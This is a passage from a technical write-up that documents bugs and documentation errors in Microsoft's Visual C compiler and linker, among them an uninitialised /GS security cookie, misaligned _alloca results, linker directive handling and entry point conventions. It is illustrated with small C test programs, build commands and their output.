L"%ls entry point: /GS security cookie is initialised with 0x%p\n",
lpCookie, gsCookie);
if (dwCookie == 0UL)
return FALSE;
if (!WriteConsole(hConsole, szCookie, dwCookie, &dwConsole, NULL))
return FALSE;
return dwConsole == dwCookie;
}
__declspec(dllexport)
__declspec(safebuffers)
BOOL WINAPI WindowsCookie(LPCWSTR lpCookie, DWORD_PTR gsCookie)
{
WCHAR szCookie[1024];
DWORD dwCookie;
UINT uiCookie = MB_ICONERROR | MB_OK;
#ifndef _WIN64
if (gsCookie == 3141592654UL)
#else
if (gsCookie == 3141592653589793241ULL >> 16)
#endif
wcscpy(szCookie, L"/GS security cookie is NOT initialised!\n");
else if (gsCookie == 0)
wcscpy(szCookie, L"/GS security cookie is 0!\n");
else
{
uiCookie = MB_ICONINFORMATION | MB_OK;
dwCookie = wsprintf(szCookie,
L"/GS security cookie is initialised with 0x%p\n",
gsCookie);
szCookie[dwCookie] = L'\0';
}
return MessageBoxEx(HWND_DESKTOP, szCookie, lpCookie, uiCookie,
MAKELANGID(LANG_ENGLISH, SUBLANG_NEUTRAL));
}
BOOL WINAPI _DllMainCRTStartup(HMODULE hModule, DWORD dwReason, LPVOID lpReserved)
{
if (dwReason != DLL_PROCESS_ATTACH)
return FALSE;
if (GetConsoleWindow() != NULL)
ConsoleCookie(__LPREFIX(__FUNCDNAME__), __security_cookie);
else
WindowsCookie(__LPREFIX(__FUNCDNAME__), __security_cookie);
return TRUE;
}
#else // _DLL
__declspec(dllimport)
BOOL WINAPI ConsoleCookie(LPCWSTR lpCookie, DWORD_PTR gsCookie);
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
ConsoleCookie(__LPREFIX(__FUNCDNAME__), __security_cookie);
ExitProcess(GetLastError());
}
__declspec(dllimport)
BOOL WINAPI WindowsCookie(LPCWSTR lpCookie, DWORD_PTR gsCookie);
__declspec(noreturn)
VOID CDECL wWinMainCRTStartup(VOID)
{
WindowsCookie(__LPREFIX(__FUNCDNAME__), __security_cookie);
ExitProcess(GetLastError());
}
#endif // _DLL
Compile and link the source file blunder.c
created in
step 1. a first time to build the
DLL
blunder.dll
and its import library
blunder.lib
:
SET CL=/Oi /W4 /Zl SET LINK=/MACHINE:I386 /NODEFAULTLIB CL.EXE /LD /MD blunder.c kernel32.lib user32.libFor details and reference see the MSDN articles Compiler Options and Linker Options.
Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.
Note: blunder.dll
is a pure
Win32
DLL
and builds without the
MSVCRT
libraries.
Note: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(27) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'DWORD_PTR *' blunder.c(28) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'LPVOID *' blunder.c(29) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'BYTE *' blunder.c(115) : warning C4100: 'lpReserved' : unreferenced formal parameter blunder.c(115) : warning C4100: 'hModule' : unreferenced formal parameter Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /MACHINE:I386 /NODEFAULTLIB /out:blunder.dll /dll /implib:blunder.lib blunder.obj kernel32.lib user32.lib Creating library blunder.lib and object blunder.exp
Compile the source file blunder.c
created in
step 1. a second time and link it with the import library
blunder.lib
generated in step 2. to build the
console application blunder.com
:
SET LINK=/ENTRY:wmainCRTStartup /MACHINE:I386 /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE /Feblunder.com blunder.c blunder.lib kernel32.lib user32.libNote:
blunder.com
is a pure
Win32 console application and builds without the
MSVCRT
libraries.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(27) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'DWORD_PTR *' blunder.c(28) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'LPVOID *' blunder.c(29) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'BYTE *' Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /MACHINE:I386 /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.com blunder.obj blunder.lib kernel32.lib user32.lib
Compile the source file blunder.c
created in
step 1. a third time, now with the preprocessor macro
BLUNDER
defined, and link it with the import library
blunder.lib
generated in step 2. to build the
Windows application blunder.exe
:
SET LINK=/ENTRY:wWinMainCRTStartup /MACHINE:I386 /NODEFAULTLIB /SUBSYSTEM:WINDOWS CL.EXE /DBLUNDER blunder.c blunder.lib kernel32.lib user32.libNote:
blunder.exe
is a pure
Win32 application and builds without the
MSVCRT
libraries.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(27) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'DWORD_PTR *' blunder.c(28) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'LPVOID *' blunder.c(29) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'BYTE *' Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wWinMainCRTStartup /MACHINE:I386 /NODEFAULTLIB /SUBSYSTEM:WINDOWS /out:blunder.exe blunder.obj blunder.lib kernel32.lib user32.lib
Load and execute the
DLL
blunder.dll
built in step 2., the console
application blunder.com
built in step 3. and the
Windows application blunder.exe
built in
step 4. under Windows 7:
CONTROL.EXE "%CD%\blunder.dll" .\blunder.com .\blunder.exe
__DllMainCRTStartup@12 entry point: /GS security cookie is initialised with 0xA7CF5A3A _wmainCRTStartup entry point: /GS security cookie is NOT initialised!
Load and execute them under Windows 10:
__DllMainCRTStartup@12 entry point: /GS security cookie initialised with 0xC97D2381 _wmainCRTStartup entry point: /GS security cookie initialised with 0xAB5E5CC5
Compile and link the source file blunder.c
created in
step 1. three more times to build blunder.dll
,
blunder.com
and blunder.exe
for the
x64 alias AMD64 processor architecture:
execute them:
SET CL=/Oi /W4 /Zl SET LINK=/MACHINE:AMD64 /NODEFAULTLIB CL.EXE /LD /MD blunder.c kernel32.lib user32.lib SET LINK=/ENTRY:wmainCRTStartup /MACHINE:AMD64 /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE /Feblunder.com blunder.c blunder.lib kernel32.lib user32.lib SET LINK=/ENTRY:wWinMainCRTStartup /MACHINE:AMD64 /NODEFAULTLIB /SUBSYSTEM:WINDOWS CL.EXE /DBLUNDER blunder.c blunder.lib kernel32.lib user32.lib
Microsoft (R) C/C++ Optimizing Compiler Version 16.00.40219.01 for x64 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(45) : warning C4047: 'initializing' : 'ULONGLONG' differs in levels of indirection from 'DWORD_PTR *' blunder.c(115) : warning C4100: 'lpReserved' : unreferenced formal parameter blunder.c(115) : warning C4100: 'hModule' : unreferenced formal parameter Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /MACHINE:AMD64 /NODEFAULTLIB /out:blunder.dll /dll /implib:blunder.lib blunder.obj kernel32.lib user32.lib Creating library blunder.lib and object blunder.exp Microsoft (R) C/C++ Optimizing Compiler Version 16.00.40219.01 for x64 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(45) : warning C4047: 'initializing' : 'ULONGLONG' differs in levels of indirection from 'DWORD_PTR *' Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /MACHINE:AMD64 /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.com blunder.obj blunder.lib kernel32.lib user32.lib Microsoft (R) C/C++ Optimizing Compiler Version 16.00.40219.01 for x64 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(45) : warning C4047: 'initializing' : 'ULONGLONG' differs in levels of indirection from 'DWORD_PTR *' Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wWinMainCRTStartup /MACHINE:AMD64 /NODEFAULTLIB /SUBSYSTEM:WINDOWS /out:blunder.exe blunder.obj blunder.lib kernel32.lib user32.lib
Load and execute them under Windows 7:
CONTROL.EXE "%CD%\blunder.dll" .\blunder.com .\blunder.exe
_DllMainCRTStartup entry point: /GS security cookie is NOT initialised! wmainCRTStartup entry point: /GS security cookie is NOT initialised!Oops: �
Load and execute them under Windows 10:
CONTROL.EXE "%CD%\blunder.dll" .\blunder.com .\blunder.exe
_DllMainCRTStartup entry point: /GS security cookie is initialised with 0x0000DBFB09758927 wmainCRTStartup entry point: /GS security cookie is initialised with 0x0000B0631190DAB2
/Gs
compiler option
states in its Remarkssection:
A stack probe is a sequence of code that the compiler inserts at the beginning of a function call. When initiated, a stack probe reaches benignly into memory by the amount of space required to store the function's local variables. This probe causes the operating system to transparently page in more stack memory if necessary, before the rest of the function runs.The documentation for the Visual C compiler helper routineBy default, the compiler generates code that initiates a stack probe when a function requires more than one page of stack space. This default is equivalent to a compiler option of
/Gs4096
for x86, x64, ARM, and ARM64 platforms. This value allows an application and the Windows memory manager to increase the amount of memory committed to the program stack dynamically at run time.
_chkstk()
states since more than 20 years in its Remarkssection:
_chkstk Routine is a helper routine for the C compiler. For x86 compilers, _chkstk Routine is called when the local variables exceed 4K bytes; for x64 compilers it is 8K.OUCH: the correct value for x64 alias AMD64
_alloca()
states since more than 20 years in its Remarkssection:
Allocates memory on the stack. […]The
_alloca
routine returns avoid
pointer to the allocated space, which is guaranteed to be suitably aligned for storage of any type of object. […]
Create the text file alloca.c
with the following
content in an arbitrary, preferable empty directory:
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
void *mainCRTStartup(void)
{
return _alloca(42);
}
Compile and link the source file alloca.c
created in
step 1.:
SET CL=/GAFS- /Oxy /W4 /X SET LINK=/ENTRY:mainCRTStartup /MACHINE:I386 /SUBSYSTEM:CONSOLE CL.EXE alloca.cNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. alloca.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:mainCRTStartup /MACHINE:I386 /SUBSYSTEM:CONSOLE /out:alloca.exe alloca.obj
Execute the console application alloca.exe
built in
step 2. and evaluate its exit code:
.\alloca.exe ECHO %ERRORLEVEL% SET /A %ERRORLEVEL% % 16
3733996 12OUCH¹: memory objects referenced by SSE instructions require but a 16 byte alignment!
OUCH²: for constant arguments less than 64
the Visual C compiler generates calls to the
_alloca_probe
routine which returns but an unaligned
pointer!
Inline assembly is not supported on the Itanium and x64 processors.The documentation for the _emit Pseudoinstruction but states:
[…] if _emit
generates an instruction that
modifies the rax register, the
compiler does not know that rax has
changed. […]
OUCH: the RAX
register exists only on
the AMD64 platform, where inline assembly via the
__asm
keyword is but not supported!
#pragma comment
states:
Places a comment record into an object file or executable file.OUCH: the highlighted statement of this documentation is but misleading and wrong – while the Visual C compiler accepts arbitrary strings as linker options and writes them into theSyntax
#pragma comment(
comment-type [,
"comment-string" ])
Remarks
The comment-type is one of the predefined identifiers, described below, that specifies the type of comment record. The optional comment-string is a string literal that provides additional information for some comment types. Because comment-string is a string literal, it obeys all the rules for string literals on use of escape characters, embedded quotation marks (
"
), and concatenation.[…]
linker
Places a linker option in the object file. You can use this comment-type to specify a linker option instead of passing it to the command line or specifying it in the development environment. For example, you can specify the /include option to force the inclusion of a symbol:
Only the following (comment-type) linker options are available to be passed to the linker identifier:#pragma comment(linker, "/include:__mySymbol")
.drectve
section of the
object file,
the linker rejects all options except the 6 options cited above plus
the 15 options enumerated below with error
LNK1276
or warning
LNK4229
!
/ALIGN
/ALTERNATENAME
/ASSEMBLYMODULE
/BASE
/CLRTHREADATTRIBUTE
/DLL
/DISALLOWLIB
/ENTRY
/HEAP
/INCREMENTAL
/NODEFAULTLIB
/OUT
/STACK
/SUBSYSTEM
/VERSION
Create the text file blunder.c
with the following
content in an arbitrary, preferable empty directory:
// Copyleft © 2001-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
int blunder(void *module, int reason, void *context)
{
return module != context, reason == 1;
#pragma comment(linker, "/ALIGN:4096")
#pragma comment(linker, "/ALTERNATENAME:@=" __FUNCDNAME__)
#pragma comment(linker, "/ASSEMBLYMODULE:@")
#pragma comment(linker, "/BASE:0")
#pragma comment(linker, "/CLRTHREADATTRIBUTE:NONE")
#pragma comment(linker, "/DEFAULTLIB:libcmt.lib")
#pragma comment(linker, "/DISALLOWLIB:msvcrt.lib")
#pragma comment(linker, "/DISALLOWLIB:oldnames.lib")
#pragma comment(linker, "/DLL")
#pragma comment(linker, "/ENTRY:" __FUNCTION__)
#pragma comment(linker, "/EXPORT:@")
#pragma comment(linker, "/HEAP:0,0")
#pragma comment(linker, "/INCLUDE:@")
#pragma comment(linker, "/INCREMENTAL")
#pragma comment(linker, "/MANIFESTDEPENDENCY:name='@'")
#pragma comment(linker, "/MERGE:.rdata=.const")
#pragma comment(linker, "/MERGE:.text=.code")
#pragma comment(linker, "/NODEFAULTLIB")
#pragma comment(linker, "/OUT:blunder.dll")
#pragma comment(linker, "/SECTION:.bss,d")
#pragma comment(linker, "/STACK:0,0")
#pragma comment(linker, "/SUBSYSTEM:WINDOWS")
#pragma comment(linker, "/VERBOSE")
#pragma comment(linker, "/VERSION:0.815")
}
Compile and link the source file blunder.c
created in
step 1.:
SET CL=/Gz /W4 /X /Zl SET LINK= CL.EXE blunder.cNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /out:blunder.exe blunder.obj blunder.obj : warning LNK4070: /OUT:blunder.dll directive in .EXP differs from output filename 'blunder.exe'; ignoring directive blunder.obj : warning LNK4229: invalid directive '/VERBOSE' encountered; ignored Creating library blunder.lib and object blunder.exp
/ENTRY:‹symbol›
linker option
states in its Remarkssection:
RemarksOuch: no prototypes are provided for the entry point functions!The /ENTRY option specifies an entry point function as the starting address for an .exe file or DLL.
The function must be defined to use the
__stdcall
calling convention. The parameters and return value depend on if the program is a console application, a windows application or a DLL. It is recommended that you let the linker set the entry point so that the C run-time library is initialized correctly, and C++ constructors for static objects are executed.By default, the starting address is a function name from the C run-time library. The linker selects it according to the attributes of the program, as shown in the following table.
Function name Default for mainCRTStartup
(or wmainCRTStartup)An application that uses /SUBSYSTEM:CONSOLE; calls main
(orwmain
)WinMainCRTStartup
(or wWinMainCRTStartup)An application that uses /SUBSYSTEM:WINDOWS; calls WinMain
(orwWinMain
), which must be defined to use__stdcall
_DllMainCRTStartup A DLL; calls DllMain
if it exists, which must be defined to use__stdcall
If the /DLL or /SUBSYSTEM option is not specified, the linker selects a subsystem and entry point depending on whether
main
orWinMain
is defined.The functions
main
,WinMain
, andDllMain
are the three forms of the user-defined entry point.
The MSDN article Format of a C Decorated Name specifies:
The MSDN articles __cdecl and __stdcall provide more details. __fastcall __vectorcall __declspec __restrict __sptr, __uptr __unaligned Argument Passing and Naming Convention Calling Conventions Overview of x64 Calling Conventions Decorated Names Using Decorated Names Viewing Decorated Names Format of a C++ Decorated NameThe form of decoration for a C function depends on the calling convention used in its declaration, as shown below. Note that in a 64-bit environment, functions are not decorated.
Calling convention Decoration __cdecl (the default) Leading underscore (_) __stdcall Leading underscore (_) and a trailing at sign (@) followed by a number representing the number of bytes in the parameter list __fastcall Same as __stdcall, but prepended by an at sign instead of an underscore __vectorcall Two trailing at signs (@@) followed by the decimal number of bytes in the parameter list.
Note: the main()
and
wmain()
functions always use the __cdecl
calling and naming convention!
Create the text file blunder.c
with the following
content in an arbitrary, preferable empty directory:
// Copyleft © 2001-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define NULL (void *) 0
extern struct _IMAGE_DOS_HEADER __ImageBase;
typedef unsigned short wchar_t;
#ifndef BLUNDER
#error
#elif BLUNDER == 0 // DLL
int DllMain(void *module, int reason, void *context)
{
return module != context, reason == 1;
}
#elif BLUNDER == 1 // DLL entry point function
int DllMain(void *module, int reason, void *context);
int _DllMainCRTStartup(void *module, int reason, void *context)
{
return DllMain(module, reason, context);
}
#elif BLUNDER == 2 // ANSI console program
int main(int argc, char *argv[], char *envp[])
{
return *envp != argv[argc];
}
#elif BLUNDER == 3 // ANSI console program entry point function
int __cdecl main(int argc, char *argv[], char *envp[]);
static char *argv[] = {"main.exe", "/?", NULL};
static char *envp[] = {"name=value", NULL};
int mainCRTStartup(void)
{
return main(sizeof(argv) / sizeof(*argv) - 1, argv, envp);
}
#elif BLUNDER == 4 // UNICODE console program
int wmain(int argc, wchar_t *argv[], wchar_t *envp[])
{
return *envp != argv[argc];
}
#elif BLUNDER == 5 // UNICODE console program entry point function
int __cdecl wmain(int argc, wchar_t *argv[], wchar_t *envp[]);
static wchar_t *argv[] = {L"wmain.exe", L"/?", NULL};
static wchar_t *envp[] = {L"name=value", NULL};
int wmainCRTStartup(void)
{
return wmain(sizeof(argv) / sizeof(*argv) - 1, argv, envp);
}
#elif BLUNDER == 6 // ANSI Windows program
int WinMain(void *current, void *previous, char cmdline[], int show)
{
return current != previous, *cmdline != show;
}
#elif BLUNDER == 7 // ANSI Windows program entry point function
int WinMain(void *current, void *previous, char cmdline[], int show);
int WinMainCRTStartup(void)
{
return WinMain(&__ImageBase, NULL, "/?", 0);
}
#elif BLUNDER == 8 // UNICODE Windows program
int wWinMain(void *current, void *previous, wchar_t cmdline[], int show)
{
return current != previous, *cmdline != show;
}
#elif BLUNDER == 9 // UNICODE Windows program entry point function
int wWinMain(void *current, void *previous, wchar_t cmdline[], int show);
int wWinMainCRTStartup(void)
{
return wWinMain(&__ImageBase, NULL, L"/?", 0);
}
#else
#error
#endif // BLUNDER
WinMain function
Start the command prompt of the Visual C
development environment for the i386 platform, then
execute the following 7 command lines to compile the source file
blunder.c
created in step 1. to generate the 5
object files dllmain.obj
, main.obj
,
wmain.obj
, winmain.obj
plus
wwinmain.obj
with the entry point functions and put
them into the new object library libcmt.lib
:
SET CL=/c /Gyz /Oxy /W4 /X /Zl CL.EXE /DBLUNDER=1 /Fodllmain.obj blunder.c CL.EXE /DBLUNDER=3 /Fomain.obj blunder.c CL.EXE /DBLUNDER=5 /Fowmain.obj blunder.c CL.EXE /DBLUNDER=7 /Fowinmain.obj blunder.c CL.EXE /DBLUNDER=9 /Fowwinmain.obj blunder.c LINK.EXE /LIB /MACHINE:I386 /NODEFAULTLIB /OUT:libcmt.lib dllmain.obj main.obj wmain.obj winmain.obj wwinmain.objNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Library Manager Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved.
Execute the following 7 command lines to compile the source file
blunder.c
created in step 1. 5 times and (try to)
link each generated object file blunder.obj
with the
entry point functions from the object library
libcmt.lib
generated in step 2.:
SET CL=/Gy /MT /Oxy /W4 /X SET LINK=/MACHINE:I386 CL.EXE /DBLUNDER=0 /Gz /LD blunder.c CL.EXE /DBLUNDER=2 /Gd blunder.c CL.EXE /DBLUNDER=4 /Gd blunder.c CL.EXE /DBLUNDER=6 /Gz blunder.c CL.EXE /DBLUNDER=8 /Gz blunder.c
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /MACHINE:I386 /out:blunder.dll /dll /implib:blunder.lib blunder.obj Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /MACHINE:I386 /out:blunder.exe blunder.obj LINK : error LNK2001: unresolved external symbol _mainCRTStartup blunder.exe : fatal error LNK1120: 1 unresolved externals Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /MACHINE:I386 /out:blunder.exe blunder.obj LINK : error LNK2001: unresolved external symbol _wmainCRTStartup blunder.exe : fatal error LNK1120: 1 unresolved externals Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /MACHINE:I386 /out:blunder.exe blunder.obj LINK : error LNK2001: unresolved external symbol _WinMainCRTStartup blunder.exe : fatal error LNK1120: 1 unresolved externals Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /MACHINE:I386 /out:blunder.exe blunder.obj LINK : error LNK2001: unresolved external symbol _wWinMainCRTStartup blunder.exe : fatal error LNK1120: 1 unresolved externalsOUCH: contrary to the documentation cited above, the linker expects the entry point functions for console as well as Windows applications to be defined using the
__cdecl
calling and naming convention!
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
typedef VOID (NTAPI PS_POST_PROCESS_INIT_ROUTINE) (VOID);
typedef struct _UNICODE_STRING
{
WORD Length;
WORD MaximumLength;
LPWSTR Buffer;
} UNICODE_STRING;
typedef struct _RTL_USER_PROCESS_PARAMETERS
{
BYTE Reserved1[16];
LPVOID Reserved2[10];
UNICODE_STRING ImagePathName;
UNICODE_STRING CommandLine;
} RTL_USER_PROCESS_PARAMETERS;
typedef struct _PEB_LDR_DATA
{
BYTE Reserved1[8];
LPVOID Reserved2[3];
LIST_ENTRY InMemoryOrderModuleList;
} PEB_LDR_DATA;
typedef struct _PEB // Process Environment Block
{
BYTE Reserved1[2];
BYTE BeingDebugged;
BYTE Reserved2[1];
LPVOID Reserved3[2];
PEB_LDR_DATA *Ldr;
RTL_USER_PROCESS_PARAMETERS *ProcessParameters;
LPVOID Reserved4[3];
LPVOID AtlThunkSListPtr;
LPVOID Reserved5;
DWORD Reserved6;
LPVOID Reserved7;
DWORD Reserved8;
DWORD AtlThunkSListPtr32;
LPVOID Reserved9[45];
BYTE Reserved10[96];
PS_POST_PROCESS_INIT_ROUTINE *PostProcessInitRoutine;
BYTE Reserved11[128];
LPVOID Reserved12[1];
DWORD SessionId;
} PEB;
LONG CDECL mainCRTStartup(PEB *peb);
LONG CDECL wmainCRTStartup(PEB *peb);
LONG CDECL WinMainCRTStartup(PEB *peb);
LONG CDECL wWinMainCRTStartup(PEB *peb);
BOOL WINAPI _DllMainCRTStartup(HMODULE module, DWORD reason, CONTEXT *context);
LIST_ENTRY structure
PEB structure
PEB_LDR_DATA structure
RTL_USER_PROCESS_PARAMETERS structure
UNICODE_STRING structure
Create the text file blunder.c
with the following
content in an arbitrary, preferable empty directory:
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
static long bss;
static long data = 'DATA';
const long rdata = 'VOID';
long mainCRTStartup(void)
{
return bss = data = rdata;
}
Compile the source file blunder.c
created in
step 1. to generate the object file blunder.obj
,
then enumerate the names and sizes of its
COFF sections:
CL.EXE /c /W4 /X /Zl blunder.c LINK.EXE /DUMP blunder.obj
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) COFF/PE Dumper Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. Dump of file blunder.obj File Type: COFF OBJECT Summary 4 .bss 4 .data 74 .debug$S 3 .drectve 4 .rdata 20 .textNote: the Visual C compiler puts uninitialised static variables in the
.bss
section, initialised
static variables in the .data
section, and constants in
the .rdata
section.
Link the object file blunder.obj
created in
step 1. to generate the executable image file
blunder.exe
using the undocumented
/TEST
linker option
to print some informative messages, then enumerate its sections:
LINK.EXE /LINK /ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /TEST blunder.obj LINK.EXE /DUMP blunder.exe
Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. LINK : file alignment: 512, section alignment: 4096 LINK : section '.sdata' (C0000040) merged into '.data' (C0000040) LINK : section '.xdata' (40000040) merged into '.rdata' (40000040) Microsoft (R) COFF/PE Dumper Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. Dump of file blunder.exe File Type: EXECUTABLE IMAGE Summary 1000 .data 1000 .rdata 1000 .reloc 1000 .textOops: the linker merges the
.bss
section into the
.data
section, but fails to print the corresponding
message despite their different characteristics – 0xC0000080
alias uninitialised data, readable, writableversus 0xC0000040 alias
initialised data, readable, writable!
Link the object file blunder.obj
created in
step 1. a second time to generate the executable image file
blunder.exe
, now merging the
.bss
section into the
.blunder
section, the .sdata
section into
the .static
section and the .xdata
section
into the .xcept
section, again using the
undocumented /TEST
linker option
to print some informative messages, then enumerate its headers and
give the 3 sections their original names back:
LINK.EXE /LINK /BREPRO /ENTRY:mainCRTStartup /MERGE:.bss=.blunder /MERGE:.sdata=.static /MERGE:.xdata=.xcept /NODEFAULTLIB /SUBSYSTEM:CONSOLE /TEST blunder.obj LINK.EXE /DUMP /HEADERS blunder.exe LINK.EXE /EDIT /SECTION:.blunder=.bss /SECTION:.static=.sdata /SECTION:.xcept=.xdata blunder.exe
Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. LINK : file alignment: 512, section alignment: 4096 LINK : section '.bss' (C0000080) merged into '.blunder' (C0000080) LINK : section '.sdata' (C0000040) merged into '.static' (C0000040) LINK : section '.xdata' (40000040) merged into '.xcept' (40000040) LINK : warning LNK4253: section '.sdata' not merged into '.data'; already merged into '.static' LINK : warning LNK4253: section '.xdata' not merged into '.rdata'; already merged into '.xcept' Microsoft (R) COFF/PE Dumper Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. Dump of file blunder.exe PE signature found File Type: EXECUTABLE IMAGE FILE HEADER VALUES 14C machine (x86) 5 number of sections FFFFFFFF time date stamp Sun Feb 07 07:28:15 2106 0 file pointer to symbol table 0 number of symbols E0 size of optional header 102 characteristics Executable 32 bit word machine OPTIONAL HEADER VALUES 10B magic # (PE32) 10.00 linker version 200 size of code 600 size of initialized data 200 size of uninitialized data 1000 entry point (00401000) 1000 base of code 2000 base of data 400000 image base (00400000 to 00405FFF) 1000 section alignment 200 file alignment 5.01 operating system version 0.00 image version 5.01 subsystem version 0 Win32 version 6000 size of image 400 size of headers 0 checksum 3 subsystem (Windows CUI) 8540 DLL characteristics Dynamic base NX compatible No structured exception handler Terminal Server Aware 100000 size of stack reserve 1000 size of stack commit 100000 size of heap reserve 1000 size of heap commit 0 loader flags 10 number of directories 0 [ 0] RVA [size] of Export Directory 0 [ 0] RVA [size] of Import Directory 0 [ 0] RVA [size] of Resource Directory 0 [ 0] RVA [size] of Exception Directory 0 [ 0] RVA [size] of Certificates Directory 5000 [ 14] RVA [size] of Base Relocation Directory 0 [ 0] RVA [size] of Debug Directory 0 [ 0] RVA [size] of Architecture Directory 0 [ 0] RVA [size] of Global Pointer Directory 0 [ 0] RVA [size] of Thread Storage Directory 0 [ 0] RVA [size] of Load Configuration Directory 0 [ 0] RVA [size] of Bound Import Directory 0 [ 0] RVA [size] of Import Address Table Directory 0 [ 0] RVA [size] of Delay Import Directory 0 [ 0] RVA [size] of COM Descriptor Directory 0 [ 0] RVA [size] of Reserved Directory SECTION HEADER #1 .text name 20 virtual size 1000 virtual address (00401000 to 0040101F) 200 size of raw data 400 file pointer to raw data (00000400 to 000005FF) 0 file pointer to relocation table 0 file pointer to line numbers 0 number of relocations 0 number of line numbers 60000020 flags Code Execute Read SECTION HEADER #2 .blunder name 4 virtual size 2000 virtual address (00402000 to 00402003) 0 size of raw data 0 file pointer to raw data 0 file pointer to relocation table 0 file pointer to line numbers 0 number of relocations 0 number of line numbers C0000080 flags Uninitialized Data Read Write SECTION HEADER #3 .rdata name 4 virtual size 